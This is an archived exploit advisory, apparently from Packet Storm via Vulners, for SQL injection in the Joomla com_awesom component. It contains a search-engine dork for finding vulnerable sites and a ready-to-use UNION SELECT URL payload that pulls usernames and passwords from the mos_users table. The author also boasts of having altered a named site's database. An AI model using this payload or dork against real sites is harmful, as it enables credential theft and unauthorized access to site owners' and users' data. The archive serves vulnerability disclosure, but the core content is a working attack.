Lucene search
K

joomlaawesom-sql.txt

🗓️ 04 Feb 2008 00:00:00Reported by S@BUNType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

joomla SQL Injection in com_awesom component, changed database, exploited user information leakag

Code
`#########################################################################  
#  
# joomla SQL Injection(com_awesom)  
#  
#########################################################################  
#  
# AUTHOR : S@BUN  
#  
# HOME : http://www.hackturkiye.com/  
#  
#########################################################################  
#  
# DORKS 1 : allinurl :"com_awesom"  
#  
#   
#########################################################################   
#   
# ı changed ATATÜRK.com's db. soo dont look  
#  
# ATATÜRK.com db si değiştirilip kullanıcısına bildirilmiştir.  
#  
##########################################################################  
EXPLOIT :  
  
index.php?option=com_awesom&Itemid=S@BUN&task=viewlist&listid=-1/**/union/**/select/**/null,concat(username,0x3a,password),null,null,null,null,null,null,null/**/from/**/mos_users/*  
  
  
##########################################################################  
# S@BUN www.hackturkiye.com S@BUN  
##########################################################################  
# S@BUN GOOD LUCKY S@BUN  
##########################################################################  
  
<name>Awesom</name>  
<creationDate>24/05/2004</creationDate>  
<author>Madd0</author>  
<copyright>This component is released under the GNU/GPL License</copyright>  
<authorEmail>[email protected]</authorEmail>  
  
<authorUrl>amazoop.sourceforge.net</authorUrl>  
<version>0.3.2</version>  
<description>Awesom!, or Amazon Web Services for Opensource Mambo, is a component that lets you   
create lists of products to feature on your Mambo-driven site.<br />  
These lists can be customized or can be automatically generated with information provided   
by Amazon through Amazon Web Services.<br />  
Additionally, if you are an Amazon associate, you can configure Awesom to link to Amazon   
using your associate ID in order to earn comissions.  
</description>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation